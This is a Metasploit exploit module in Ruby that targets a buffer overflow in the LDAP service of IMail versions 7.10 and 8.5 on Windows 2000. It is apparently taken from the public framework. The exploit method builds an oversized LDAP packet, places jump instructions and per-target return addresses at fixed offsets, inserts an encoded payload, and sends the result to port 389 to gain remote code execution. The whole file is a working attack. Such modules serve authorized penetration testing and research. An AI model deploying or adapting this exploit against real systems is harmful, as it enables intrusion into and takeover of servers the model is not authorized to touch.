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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'IMail LDAP Service Buffer Overflow',
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        'Description' => %q{
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          This exploits a buffer overflow in the LDAP service that is
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          part of the IMail product. This module was tested against
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          version 7.10 and 8.5, both running on Windows 2000.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-0297'],
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          [ 'OSVDB', '3984'],
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          [ 'BID', '9682'],
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          [ 'URL', 'http://web.archive.org/web/20060110155821/http://secunia.com:80/advisories/10880/'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x0a\x0d\x20",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ["Windows 2000 English", { 'Ret' => 0x75023386 }],
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          ["Windows 2000 IMail 8.x", { 'Ret' => 0x1002a619 }],
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        ],
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        'DisclosureDate' => '2004-02-17',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(389)
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      ]
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    )
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  end
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  def exploit
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    connect
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    buf = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20"
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    buf << "\xcc" * 5000
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    # Universal exploit, targets 6.x, 7.x, and 8.x at once ;)
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    # Thanks for johnny cyberpunk for 6/7 vs 8 diffs
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    buf[77, 4] = "\xeb\x06"
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    buf[81, 4] = [target.ret].pack('V') # 6.x, 7.x
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    buf[85, 4] = "\xeb\x06"
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    buf[89, 4] = [target.ret].pack('V') # 8.x
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    buf[93, payload.encoded.length] = payload.encoded
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    sock.put(buf)
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    handler
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    disconnect
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  end
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end
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